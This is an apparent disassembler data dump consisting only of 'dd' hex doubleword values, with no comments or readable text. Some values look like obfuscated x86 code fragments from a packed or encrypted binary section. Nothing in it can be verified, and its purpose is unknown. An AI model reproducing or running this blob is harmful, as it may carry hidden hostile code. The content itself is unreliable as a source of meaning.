		dd 0A6407A2Fh, 0FA0312B1h, 0C9AB30DAh, 471D3E2Dh, 86F66469h
		dd 550E45CFh, 58FB12A4h, 13591E4Bh, 0C96D3962h,	4B2B22A8h
		dd 5B814BF3h, 0E1FD0E3Fh, 0ABBB5727h, 931961F5h, 0B05409F6h
		dd 0F84D1982h, 25E9643Bh, 0AD000000h, 27718Bh, 8 dup(0)
		dd 552E9h, 74AFC00h, 0E51CC453h, 23BF269h, 0DF1CCF46h
		dd 0F938EC6Bh, 0C93B4745h, 0E574E827h, 0D0470344h, 0EC6BDF1Ah
		dd 5F4AFE33h, 5D14AE5Dh, 0F3F06BDBh, 44793229h,	58973950h
		dd 11B15886h, 0F56DCC7Ch, 5BDA6479h, 4836FA4h, 8554265Bh
		dd 78FCA8DFh, 7C24A363h, 973A5145h, 8DBDAA56h, 0B797C610h
		dd 1E5F12C9h, 32D16072h, 5F1350F3h, 734CDF03h, 79AE55DCh
		dd 559036C5h, 0BB73527Bh, 0E595AE4h, 209B8539h,	0DE422E6Bh
		dd 619C5209h, 0DE13CC8Fh, 6D192E32h, 867ABB6Eh,	67CE651Ch
		dd 45D488C3h, 0C3BD699Eh, 381554F8h, 0CCE0F24Bh, 0EF86356Dh
		dd 6A99C70Ah, 69A733h, 32E50000h, 0E8A33B79h, 92E671Eh
		dd 0CFF31C69h, 40CC7423h, 6E4D6DCCh, 0C468F3D7h, 0B8959185h
		dd 6AF9EEBFh, 89805E33h, 6DCC4C39h, 46C81DDh, 0Bh, 9D25E4FAh
		dd 796DCC4Ch, 3244E0FDh, 384F437Ah, 46875990h, 0C104C47h
		dd 0D106BD0Dh, 0AF26D8F5h, 60E2C9FCh, 846DCCF4h, 0A5D8CCA8h
		dd 6BE67FEh, 23DC5BCFh,	32AC3AEEh, 0E062497Eh, 46DCC7Ch
		dd 0B79BDC8Dh, 0FD65092h, 0D9FD925Fh, 0BFF6AE2Dh, 4EE576D3h
		dd 191045E7h, 6DCC90A9h, 5392364Dh, 0C39FC39Fh,	0A2D79007h
		dd 235C11C8h, 28D6F36Fh, 0ECDFCB1h, 0CB771E57h,	2B6DCC90h
		dd 97D2782Fh, 771AA1BBh, 34652136h, 0BC05E07Fh,	2C336A47h
		dd 0C8BCFBADh, 6ED98F6Ch, 33000000h, 7BF396D7h,	0DD8FE46Ch
		dd 3D39ED2Ah, 0D5774419h, 36EBEA96h, 4D7609FDh,	88BD6FB6h
		dd 0CCD421A1h, 1BCEC56Dh, 264A26DAh, 65078E4Ah,	33175426h
		dd 0C09A28D1h, 0D6F5B1C6h, 5700F431h, 9D60851Ch, 7D336A4Fh
		dd 48h,	3F7E32CFh, 538E3453h, 0DC734C9Fh, 0C707D1FAh, 15AEB458h
		dd 3E103473h, 0CC8EF74Bh, 36130F6Dh, 0D08CCB7Dh, 3A7A323Ah
		dd 0B125641h, 2ED6554Fh, 4B270BF7h, 0D6B71057h,	47786DCCh
		dd 8B844DA8h, 164336Ah,	0A6000000h, 4E427B32h, 815B9037h
		dd 27E215BAh, 6DCC7C9Bh, 0CFC39F7Bh, 1E887653h,	0BCF39920h
		dd 0AC8F6CC8h, 822AB115h, 7CEC5655h, 2C086DCCh,	0B2CF5C48h
		dd 0C8FFA996h, 0E3708D69h, 6C4AFC3Eh, 93B8D115h, 0FA6FBAFh
		dd 3A77D31h, 7C58DCC8h,	0B6C8AC88h, 0FCE416F3h,	5A74F067h
		dd 39ED2EDFh, 0C5E203Dh, 8C61964Dh, 67E318CFh, 0E80237F0h
		dd 0A4AF1316h, 0CB80943Ch, 8E7EE28Eh, 346F1392h, 1707E440h
		dd 3CA4F050h, 3FD66D94h, 46184DF6h, 0A4D17118h,	0BA6E943Ch
		dd 0D2A7837Bh, 0A1D68D0Ch, 0EF2DD6F5h, 64A5C2AEh, 28DCF8F0h
		dd 0D3BF00B1h, 0E3C37C46h, 0E0576711h, 1605F128h, 502CE65h
		dd 0AD56DF76h, 4DAC478h, 3CFEBD05h, 24E75994h, 943CFE9Eh
		dd 1D6FA76h, 7AB3B3FEh,	0C2A2339h, 0DA15B948h, 3E1D4A26h
		dd 0A3452214h, 124h, 1EBD5CE9h,	266C5D4Ch, 9E7A67FCh, 0F72CD3F2h
		dd 3B0BB443h, 0ED555489h, 99423AAh, 0D95D492Dh,	0D99209FDh
		dd 38D9F0A4h, 0D68C0BF7h, 11B2E79Bh, 0A994E72h,	0EC21CA6Bh
		dd 15CB8E70h, 772E32DEh, 8AE69AD1h, 6067AA6Dh, 4747397Bh
		dd 85000000h, 0E11C15Ch, 0ED0A5118h, 0A9607A56h, 0EDCC6939h
		dd 9B9581DDh, 48053B2h,	7118C55Ah, 0EDCC42D1h, 431D3935h
		dd 0CC42FA48h, 293E1AEDh, 0CC42C082h, 0B74EEDEDh, 84568598h
		dd 0CC421D85h, 1BDB96Dh, 8F88h,	0BD5CF400h, 3C5D4C1Eh
		dd 0CA67FC0Ch, 0B6C8A24Eh, 238C4FF3h, 0AECBA794h, 58537E25h
		dd 94238CEAh, 68290E0Ah, 98BBEB06h, 30ABC5A1h, 0E062497Ah
		dd 49423BDh, 0A72F4C28h, 4E427730h, 23BCBC07h, 750CB394h
		dd 0AAE38A51h, 285D06CDh, 13C84FB4h, 0DDE85239h, 401C9E18h
		dd 508E3554h, 0CD28B133h, 0BEE0923Ch, 2CA36388h, 0FFE99DB9h
		dd 43A4CC01h, 4430671Dh, 79A8FBE0h, 7918ABC0h, 0ED28DE5Dh
		dd 0BD203D39h, 0E0CBA536h, 942F197Ah, 8C1A8E8Ah, 4C1EBD5Ch
		dd 0F71DFD5Dh, 792D0967h, 0B874A962h, 0A1558A41h, 4E77B0FAh
		dd 0B35271F5h, 6C9F4417h, 4E4E05BDh, 6185E1B5h,	0E318CF8Ch
		dd 0BD589567h, 0C6A0A255h, 7F28B3C8h, 8A9304Ah,	0D5F4B2C7h
		dd 60DBF532h, 0DF20D1ADh, 639E4403h, 730E9886h,	83AE55DCh
		dd 4E743A88h, 0C77EDAB5h, 4D01E526h, 841E873h, 7843181Ch
		dd 94E69ACFh, 7403BF6Ah, 641CB54Eh, 0E7F9752Dh,	4E749E24h
		dd 0DDFA76B5h, 364h, 6D5FD800h,	493D8032h, 0B0649952h
		dd 463A7519h, 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h
		dd 0A75B9439h, 55417830h, 575A68CFh, 0C890000h,	50336824h
		dd 4890000h, 0E0895024h, 405h, 42D00h, 4870000h, 1C895C24h
		dd 68535724h, 65A62078h, 4EF3815Bh, 8963B101h, 0F8895BDFh
		dd 5B27685Fh, 24890000h, 24048324h, 0EC815B04h,	4, 8F240489h
		dd 1C8B0843h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 24048B5Ch, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0F959E7E9h
		dd 0B8E7CDFFh, 617260Ah, 0E0FFC503h, 46F5928Ch,	27E684D9h
		dd 375AE8Ah, 3A6CBB2Ch,	291BFAC7h, 6924CDE3h, 4088F9FBh
		dd 4445561Ch, 3CB50508h, 0DB992C3h, 5F4D5BF9h, 48869F1Bh
		dd 7A6BF15Bh, 2AA402Ah,	31DFCCBBh, 4D8F56DCh, 350DCF82h
		dd 3A1D0B74h, 2270F6E3h, 537AD4D6h, 28DDB249h, 47846014h
		dd 60EF6F9Ah, 5BB54483h, 724B987Ah, 240D5334h, 0EB93560h
		dd 4823144Dh, 27B88D8Dh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0DF8F92C3h, 0D2694095h
		dd 58D0FA0h, 66000000h,	834F081h, 9F58D89h, 0B8660610h
		dd 85C792B3h, 6102319h,	6B50h, 14E9h, 0BF1DEA00h, 3941B6AFh
		dd 0E4FEB4F7h, 73E80600h, 4C62301Eh, 0C185C713h, 61022h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 885CC356h, 9C7A1B52h, 53331288h
		dd 595958Bh, 0B5FF0610h, 6100865h, 68B0Fh, 9D890000h, 61029C9h
		dd 2DB995FFh, 0DF8B0610h, 95FF006Ah, 61031C9h, 59EBC08Bh
		dd 506B3FD7h, 0EB5122E4h, 0FB25ADE0h, 42DAACCEh, 6CEA4C2Bh
		dd 13D580Fh, 0FCD4C8CDh, 65255B9h, 266FF7AAh, 168C9E39h
		dd 0A2095756h, 0ECE68593h, 5A4E8E15h, 0E69E93CDh, 287372B7h
		dd 0E9FD14Ch, 2673F002h, 622A70E5h, 0E39E064Eh,	7F3979C0h
		dd 289BD2B2h, 99A25F84h, 0CE87Fh, 0D0D10000h, 3E10365Dh
		dd 0CB45A9E2h, 8D8B7A5Bh, 61021B5h, 0C681F55Eh,	703Ah
		dd 58E0Fh, 81660000h, 684337E1h, 0
		dd 10E9h, 0A841B700h, 94B863CCh, 428D9235h, 0ED918514h
		dd 95295FE4h, 6101409h,	663734FFh, 158CA8Bh, 1027A9B5h
		dd 0DDC08106h, 8B0B1745h, 101D7D9Dh, 3AC08106h,	2907378Ah
		dd 10310185h, 0F7C08106h, 89597450h, 10163185h,	3E048906h
		dd 0B589FA8Ah, 6100915h, 6EBDEF81h, 958914E7h, 6102161h
		dd 6EB9C781h, 0B70F14E7h, 98FF81D1h, 0FFFFF90h,	1C85h
		dd 8B665000h, 29E95AD8h, 0B9000000h, 0C9122A4h,	9F163741h
		dd 0A231677Dh, 92B3156Bh, 5BF8572Bh, 0FFFF7FE9h, 0EC1351FFh
		dd 2E6A3F50h, 0B581B3F2h, 876E51CFh, 14E8h, 8023BB00h
		dd 9E2DE5Eh, 0D23F4847h, 23C2D4A6h, 0C5CC8A79h,	0FD8D8B62h
		dd 5A061027h, 16998D8Bh, 0C2810610h, 6E1Eh, 68C6B70Fh
		dd 0
		dd 2DB1B589h, 0F85E0610h, 60323C8Bh, 5E78D281h,	81660378h
		dd 617C2DD8h, 5AF3EF81h, 8E92CB8h, 0BD000000h, 33562A1Ch
		dd 81E37C57h, 0F36654C7h, 0A5858B01h, 8106101Ch, 465AEFC7h
		dd 0D5858963h, 8906101Ah, 0B509323Ch, 61023C5h,	13E9h
		dd 762D7500h, 0BBB57C8h, 496E3B0Bh, 0A632219Ch,	58525FB4h
		dd 8104EE83h, 702A2AE9h, 8CFE812Ch, 0FFFFF92h, 0FFFF8F85h
		dd 0D8D31FFh, 8D061020h, 172ABD8Dh, 0FE806h, 81320000h
		dd 482D9F06h, 88EF62E5h, 4703BC4Fh, 0F4D08192h,	5A2F67AEh
		dd 9F58D89h, 8B660610h,	1985C7C7h, 74061023h, 6A000058h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0A162C356h, 6287048Ah, 234E89C9h,	1CC1958Bh
		dd 810F0610h, 18h, 0CE8h, 0FC396400h, 0A92AB12Ch, 995E555Dh
		dd 0D1CF8183h, 5A17A833h, 22C185C7h, 610h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 958B84C3h, 6100D61h,	1211B5FFh, 6A0610h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8A5958C3h
		dd 0BD8B50F8h, 6100BADh, 0B995FF5Bh, 6A06102Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 6F24C355h, 6F8FA2EDh, 4DF3BF66h, 5860Fh, 81660000h
		dd 3ED19DFh, 100C9185h,	0FF006A06h, 1031C995h, 0EBC08B06h
		dd 31F98919h, 0EE825E1Ch, 0E7294760h, 375BE66Ah, 5ED52280h
		dd 0CBA2D119h, 8D8DB0AEh, 6172B90h, 2D219D29h, 8D890610h
		dd 61009F5h, 1952BE66h,	1A6D858Bh, 85C70610h, 6102319h
		dd 6518h, 12E977B3h, 0D4000000h, 0DF4618F3h, 0CA480CC2h
		dd 2865B9ECh, 0AB744A3Eh, 0C185C75Ch, 61022h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 7B6BC351h, 0FFF8BB16h, 1030C5B5h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0CA63A22h, 1252496Ch, 0D78B1CA5h, 95FFC68Bh,	6102DB9h
		dd 0BE9h, 0AA581600h, 62AC76E9h, 7C71E170h, 95FF006Ah
		dd 61031C9h, 3CEBC08Bh,	0AB6F729Bh, 51AB9749h, 2F2DA4B2h
		dd 8B68E787h, 0B440D97h, 0FCCECB02h, 5DF507FBh,	0DBD52149h
		dd 21D88ACDh, 4D21D116h, 0F76C3237h, 0A7DEDD11h, 17879F20h
		dd 0CE775A18h, 0DC1C0FF0h, 2CF38D8Dh, 6A0617h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 897A1EC3h, 1009F58Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 88A98F8Ch, 231985C7h
		dd 607C0610h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0C6E3A4C3h, 1307F957h, 8B66B74Ah
		dd 16860FFAh, 0E9000000h, 11h, 22D68A0Bh, 0D4D5A0DBh, 0F5ABDB4Bh
		dd 0CC493E19h, 0C185C7D2h, 61022h, 0E9000000h, 0Ch, 5444715h
		dd 9B21D710h, 98490251h, 30C5B5FFh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 161E21C3h
		dd 0EFBE86A0h, 9D29CB54h, 6100BDDh, 0AE9h, 0FE8D1600h
		dd 37B9FE83h, 0FFAD377Eh, 102DB995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0D4B708D0h
		dd 9D95896Dh, 6A06101Ah, 0C995FF00h, 8B061031h,	0CA3CEBC0h
		dd 69383034h, 12EB5B3Ah, 0A86E4E4h, 0D66C83B4h,	0A18BC2ACh
		dd 0F0EF1AD1h, 0A7D421E6h, 0C25AD506h, 8DE84F9h, 68C1E445h
		dd 5BEC4CD5h, 0F73ADDD5h, 1FF1E07Fh, 0ED5FB511h, 0E8B4BCD2h
		dd 9, 0D7E55712h, 334BEC5Ch, 68F0FBAh, 31000000h, 1004798Dh
		dd 8E85F06h, 18000000h,	3F9EEA16h, 53D9AAA8h, 58C78B66h
		dd 13C78158h, 0E8000066h, 0Fh, 8AD3014Bh, 346D98EEh, 0B7243DCDh
		dd 0E982D050h, 12h, 9A4179F8h, 0CBAA622Eh, 0DE8CC636h
		dd 0B718EAC0h, 0BA586BE4h, 62D6602Bh, 7979F281h, 0D88162D6h
		dd 71BBAF5Fh, 81F5378Bh, 0F0B256C6h, 8102B001h,	0EF5B20EEh
		dd 0D99D895Ah, 81061001h, 142DB4F6h, 59858933h,	56061007h
		dd 6CC98166h, 8B078F2Ch, 10132185h, 2EF8306h, 14E9h, 0ACE14500h
		dd 73291B37h, 0B02FC089h, 1660179Fh, 0C7A05DC2h, 664F4FD7h
		dd 89EECB81h, 0F01EA83h, 0FFFFA385h, 8D9D8BFFh,	8D061022h
		dd 172EF88Dh, 5E906h, 0FE870000h, 89A502D5h, 1009F58Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 791F8988h, 0AAFE82CEh, 231985C7h, 65700610h
		dd 858B0000h, 6100A09h,	4C77BE66h, 22C185C7h, 610h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 937CE7C3h, 9C6A85BFh, 0AE998h, 40940000h, 69A561BEh
		dd 0F07C560Dh, 865B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0D30C1BC3h, 29A99D8Bh
		dd 95FF0610h, 6102DB9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 73C35646h, 0C58AB8C9h, 98E0F50h, 60000000h
		dd 0D8D68166h, 615CB064h, 95FF006Ah, 61031C9h, 59EBC08Bh
		dd 5BD27244h, 5C56AD43h, 59830FBDh, 56C58865h, 9CA44304h
		dd 615CFA72h, 8B43F9DBh, 0C1670DE0h, 0E643689h,	0C6DAB8F9h
		dd 0EA09AF38h, 73D17887h, 0D38AF631h, 779B0FC5h, 6C0FC0A9h
		dd 0B60ECBC2h, 0FC63F092h, 23205BEh, 38684EACh,	4C429571h
		dd 735510F3h, 0E1F08075h, 8E8F1h, 0D0B30000h, 669B002Fh
		dd 89583E64h, 102025B5h, 7AC08106h, 3100006Dh, 1008AD9Dh
		dd 0B906h, 0B50B0000h, 6100D55h, 5A0134FFh, 29419D89h
		dd 0C2810610h, 1455BF08h, 6E9h,	94BBA200h, 81C68C6Eh, 8D80D1F2h
		dd 8F0F45h, 81000000h, 9EAFA3EAh, 0D4D78035h, 81081489h
		dd 0CC95A2EFh, 0AFFABE67h, 0E9815C0Ch, 7971B429h, 48E0Fh
		dd 0BF660000h, 0C181AB23h, 7971B425h, 81FE8B66h, 0FF931CF9h
		dd 9D850FFFh, 0E9FFFFFFh, 0Ch, 6C7DC276h, 43AA2A48h, 21AB4772h
		dd 23E585C6h, 68560610h, 0A9C530DFh, 1D45B5FFh,	858D0610h
		dd 613858Ah, 8D8DD0FFh,	61015A5h, 0FF406A51h, 1006C9B5h
		dd 1DB5FF06h, 0FF061009h, 0C9B5FFD0h, 0FF061006h, 10091DB5h
		dd 9E806h, 0F0CA0000h, 8ECD974Bh, 5ECFC336h, 4EE835Eh
		dd 2242CC1h, 22424C1h, 0F7243403h, 0C033241Ch, 5A3034FFh
		dd 63C0F281h, 0C2814253h, 7524433Ah, 0DB7CF281h, 1489125Dh
		dd 1E88306h, 3B484848h,	850F2404h, 0FFFFFFD8h, 0F519D8Dh
		dd 38B0610h, 840FC00Bh,	7, 5B8B038Bh, 8B188904h, 0E6E9C9h
		dd 94EF0000h, 9CD70681h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 0Bh dup(0)
		dd 14E2E9h, 33736800h, 0DDE90617h, 68FFF94Eh, 61734A4h
		dd 0F94ED3E9h, 359E68FFh, 0C9E90617h, 68FFF94Eh, 61736CBh
		dd 0F94EBFE9h, 375D68FFh, 0B5E90617h, 68FFF94Eh, 617382Ch
		dd 0F94EABE9h, 38E268FFh, 0A1E90617h, 68FFF94Eh, 6173970h
		dd 0F94E97E9h, 3A4A68FFh, 8DE90617h, 68FFF94Eh,	6173BB4h
		dd 0F94E83E9h, 3CC268FFh, 79E90617h, 68FFF94Eh,	6173E2Ah
		dd 0F94E6FE9h, 3F0668FFh, 65E90617h, 68FFF94Eh,	6174065h
		dd 0F94E5BE9h, 418568FFh, 51E90617h, 68FFF94Eh,	6174341h
		dd 0F94E47E9h, 441768FFh, 3DE90617h, 2FFF94Eh, 0CA510D50h
		dd 0E86FEB22h, 0C5540841h, 0F269E522h, 5D4BFF3Eh, 0D211B321h
		dd 0ED2EDF56h, 944EA71h, 0E81DC655h, 84877974h,	6BDB4E3Eh
		dd 3253D9D6h, 0AF2A4479h, 0DEA0BDFEh, 0DB1CCD8Ch, 598E35FEh
		dd 627980E5h, 11B8A188h, 0D24E67FCh, 96CF771Eh,	952E9423h
		dd 3FB2FBFEh, 4092397Bh, 0F8000000h, 0DF83BD5Ch, 8B7EF0A4h
		dd 6DCC7C37h, 536F53CFh, 0F0F75479h, 0AA951F64h, 59DDC904h
		dd 9178607Dh, 67FCD1A0h, 95D27544h, 0BA66C2B8h,	3CD053EBh
		dd 6201B294h, 7A8A4687h, 0DD2639h, 32640000h, 39504479h
		dd 1BA76297h, 0FB6DCC7Ch, 0C5A1E084h, 590CCFA1h, 0B591C67Dh
		dd 968865C1h, 5F1348FFh, 8A38F30Dh, 6A923383h, 0A962D9EEh
		dd 8B11B874h, 749233FEh, 0CB488DCBh, 966CCE13h,	0D077FEBAh
		dd 0FB1AE79Bh, 61B0EE0h, 7E980382h, 0D8D30ABBh,	9423066Ah
		dd 0BEB28E8Ah, 31E526C7h, 463C1135h, 0A64910EAh, 75CA9469h
		dd 0A8637D5Eh, 9E15CE0Bh, 83BA72E9h, 1752F88Fh,	5C1E3Bh
		dd 0A91910EEh, 4D9E10BDh, 55E4FCD1h, 41B874B3h,	0D611B58Fh
		dd 0BCF7AB2Ah, 0F90FBC98h, 37403569h, 124B765Fh, 0FBF0000h
		dd 0E38910CCh, 4A930ACh, 0E3880FCBh, 1A332A6h, 0E42006C2h
		dd 1793D276h, 30ACEDA0h, 0ECA05A9h, 2FABE087h, 0F949403Ch
		dd 1D6BDB4Fh, 7E32F4C0h, 530C8B3Fh, 5C1CAA1Eh, 324C1EBDh
		dd 0DBC704A7h, 0D6CA07BCh, 0AA61765Ah, 67FC7C89h, 0FD3CF06Bh
		dd 4A502D09h, 7BB8D33h,	0D8CCA8CCh, 617B6566h, 0F0836CE4h
		dd 9A9630DBh, 3E759423h, 4F6F42A7h, 0E4F397Bh, 0BD000001h
		dd 4A97932h, 775BD7CBh,	0F62FD665h, 0A5518A3Fh,	0DBFAACC1h
		dd 6F36EA29h, 6DCC01E9h, 0E8649952h, 62A14316h,	1E95B2AEh
		dd 6F443065h, 0B2597368h, 9803F1B1h, 0BC04A833h, 16E8F96Bh
		dd 596E521Ch, 0CDB3CDA9h, 233964DEh, 0FBAE8094h, 94233947h
		dd 0CA9FC39Fh, 0FDAF2A14h, 37F61CB5h, 294D990Fh, 0BA08037Dh
		dd 5A9423CEh, 86F5E2FEh, 1E70D1B2h, 676E0FECh, 0D6FA35D9h
		dd 598E3504h, 0CCB4C9ADh, 15C765DDh, 0FCAF819Eh, 9E10BD46h
		dd 0CC9EC29Eh, 65DDCCB2h, 819E10BDh, 590BC8A5h,	6B1E401Ah
		dd 9E10BDD7h, 0A016332Fh, 93387719h, 4035694Bh,	1AE8F1A5h
		dd 8E000011h, 962599DCh, 7403B7EEh, 0A11894CDh,	7EFDB1EEh
		dd 0D9CF8BCAh, 4E8D3FADh, 69AA5BDAh, 85C066F5h,	649952C9h
		dd 10FB05E8h, 6BDB48B2h, 0D7CF5552h, 74206104h,	0AC60DBF0h
		dd 0C16AF16Dh, 0A28EB583h, 330F4255h, 0CF744719h, 9382DE92h
		dd 6DCCB12Fh, 0C88E6BC7h, 0A9793242h, 57DBC708h, 5710877Bh
		dd 7CC57D2Ch, 45216DCCh, 772EAD21h, 0F3D8523Eh,	0B3B4CDA7h
		dd 1E570E6Bh, 0F5D2EE72h, 0DC50853Eh, 952DDC02h, 716DCCD8h
		dd 683ED8F5h, 43E8585Fh, 1910EA06h, 67FC8488h, 0B5F6972Eh
		dd 3C184DF6h, 7114A779h, 0A1454430h, 1ACB8A66h,	34492DD9h
		dd 0B2ADCE77h, 6F6C8B8Ch, 4A55AE5Dh, 4C0F659Ah,	7A805D94h
		dd 0F6FDF29Eh, 38200BE5h, 0A69BADC4h, 0FF2D6D13h, 9FB458CAh
		dd 721594B0h, 6621835h,	89BE65F4h, 0B970EBD5h, 37F06B80h
		dd 511F5502h, 0A57145ABh, 102034h, 0AFF29400h, 8DC47CFBh
		dd 6AA34AD1h, 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh
		dd 38BF7BBCh, 54E35792h, 0C7C276ABh, 498C36F5h,	8B686BDBh
		dd 447932C1h, 0BDFEAF2Ah, 211DEA0h, 62D907D9h, 0B2596EAFh
		dd 67FC1EC1h, 0BF569C5h, 0A95D9C50h, 0A16ED4D7h, 0AA869423h
		dd 0D9B5A1C6h, 0DE587EA6h, 7E5D7C09h, 905CBD6Ch, 932A9E13h
		dd 0BE90B4EFh, 5F44F48Dh, 7F5CBE0Ch, 746ED87Fh,	0F68D9E13h
		dd 14527B5Fh, 0B35F437Fh, 0DE2FE805h, 4E3F8C1Ah, 0F39FD48Bh
		dd 37F65A6Fh, 54000000h, 4C1EBD5Ch, 0FCCA645Dh,	8A9D8267h
		dd 0F67DD525h, 0B835A8D6h, 70D8F893h, 0BBF7A54h, 17AD5CD0h
		dd 2894233Fh, 78E4A7Fh,	6B7C2863h, 0F55h, 0E71EC695h, 0BD5C3A12h
		dd 0BF5D4C1Eh, 2567F72Dh, 98B5F096h, 635A7DE2h,	272CB05h
		dd 0A2F134Ah, 0CF171348h, 97698D1Fh, 72E61BC4h,	1B073CE3h
		dd 0B2CC0FA6h, 1F17ACF7h, 10EA469Eh, 0F16DA249h, 59984C0Fh
		dd 27B4C9ADh, 6A574B80h, 0CBBE904Bh, 942D0FFAh,	6FC32804h
		dd 0A15E28A8h, 0EF3E4F5h, 0C7670000h, 9B51C884h, 0BC71E864h
		dd 9B50C783h, 0B96BEA5Eh, 0BCC8BE7Ah, 0DF5B9A4Eh, 0B874B558h
		dd 0D6528D41h, 0B773A85Fh, 8141E8D4h, 656BDB4Ah, 4402BC88h
		dd 36DCC7Ch, 0EB15E7F4h, 7CAC1615h, 0CC816DCCh,	0A289DB93h
		dd 6DCC7C20h, 6F8C68C4h, 0F72CF1B4h, 0D3AD8967h, 502A5F08h
		dd 0F9ADE289h, 5FD6607Dh, 327F73A8h, 932638A3h,	0C098B5EEh
		dd 14D1A8C9h, 851F4C9Eh, 59B7DA2Bh, 1C51FAB1h, 2BEF0C68h
		dd 9AB6EB94h, 311AF32Dh, 80693D40h, 0E61h, 36F235D5h, 56D209BFh
		dd 3DF12ADFh, 10CC09BEh, 34A8E789h, 0F498CA36h,	0CF82F9B5h
		dd 0E79B1A8Eh, 2A930ACh, 221E11CDh, 0DB4BDB67h,	0D65E3B6Bh
		dd 0B08296D7h, 0C1D9ADD9h, 0CC9678CAh, 0A4C09C6Dh, 0F81263B7h
		dd 0C499B1CBh, 0CA8050F7h, 637FE38Fh, 3A6F18AFh, 233D3F46h
		dd 0CC86DA68h, 0BF24056Dh, 0CBDA9D2Fh, 2BE057D3h, 0AB4AD9EEh
		dd 6AF5834Eh, 9126333h,	5CA90000h, 324C1EBDh, 0CC7CCB77h
		dd 1A2F2B6Dh, 2C0F4346h, 6BC767F7h, 0E627CA91h,	0F949403Ah
		dd 1D9424ACh, 30482541h, 11CD02A9h, 0F8ACE18Ah,	24AC15B1h
		dd 16C55494h, 0EA9F1A44h, 0BA61C5B1h, 9424AC08h, 855B70ECh
		dd 14CEED86h, 20CDA99Eh, 40310536h, 925B4C58h, 600000Dh
		dd 2EAD2164h, 0C8B3F76h, 19A01C55h, 0F6853976h,	0B1971352h
		dd 46852755h, 21620392h, 3D782EADh, 1C51FA81h, 0D8D3ADA0h
		dd 6BDB446Ah, 32870D8Ah, 39504479h, 22A95D92h, 11C802A1h
		dd 0FF71255Ah, 0CC7CB60Ch, 0EED24E6Dh, 1D743AC9h, 3247A115h
		dd 6AFFA46Dh, 0A3451433h, 0BE04A15Bh, 431F713Dh, 52F6D34Fh
		dd 850h, 0DDE77F6Ch, 84AFE06Ch,	4402DD67h, 36DCC7Ch, 1615E7F4h
		dd 67F72D9Ch, 4435D516h, 7884E81Eh, 0A9C39F63h,	88447932h
		dd 71255A11h, 94667584h, 14C8FC95h, 83B59A9Eh, 6AA34AA5h
		dd 992FC77Dh, 293C10BDh, 22F24031h, 0CDCB1h, 5B9E5000h
		dd 79B058DFh, 568F36C5h, 73B053E2h, 4D8C40B7h, 0FD6F9B91h
		dd 0C9500C4Bh, 0E473E728h, 0D047033Eh, 8366E217h, 44309279h
		dd 0D7D46BDBh, 4E79324Dh, 0CC7CE75Bh, 3F23FF6Dh, 0BAFBAE2Dh
		dd 918D6AC6h, 681C51FAh, 26C36261h, 336B29CBh, 7AFABh
		dd 0BD5C2100h, 0F85D4C1Eh, 667F72Dh, 0E289502Ah, 1AA31ADh
		dd 3591D8CCh, 349424B3h, 652436A5h, 9E14D10Ch, 0DAD603E8h
		dd 0D2748E85h, 0C42905F5h, 40310586h, 4E0B9C88h, 0C200000Ch
		dd 8A11CD10h, 0A82FABE2h, 8514C801h, 0B229A5E2h
		dd 1D0BBFFEh, 92D173E1h, 0ADEE9F16h, 0C904AA31h, 0A8DD8615h
		dd 44473934h, 6BDB45FEh, 32139916h, 63143B79h, 3FC22943h
		dd 0FBA7E288h, 30A75B77h, 4D053977h, 0F8366856h, 0FEB128DCh
		dd 0FB6D5C1h, 0A34F843Bh, 9AEFA3BFh, 1ACB6A09h,	4A2EFDD9h
		dd 0F5A1DA8Fh, 28C75C71h, 6AC404CDh, 702E433h, 0D7260000h
		dd 7C4002A9h, 0C8A46DCCh, 7C4BF8B3h, 0D2896DCCh, 3135E11Ch
		dd 1610490Ch, 46232A41h, 0A1BB20B7h, 0F74F66EAh, 0A8C29E67h
		dd 89457A31h, 70245912h, 95677483h, 8E520C6h, 307039F0h
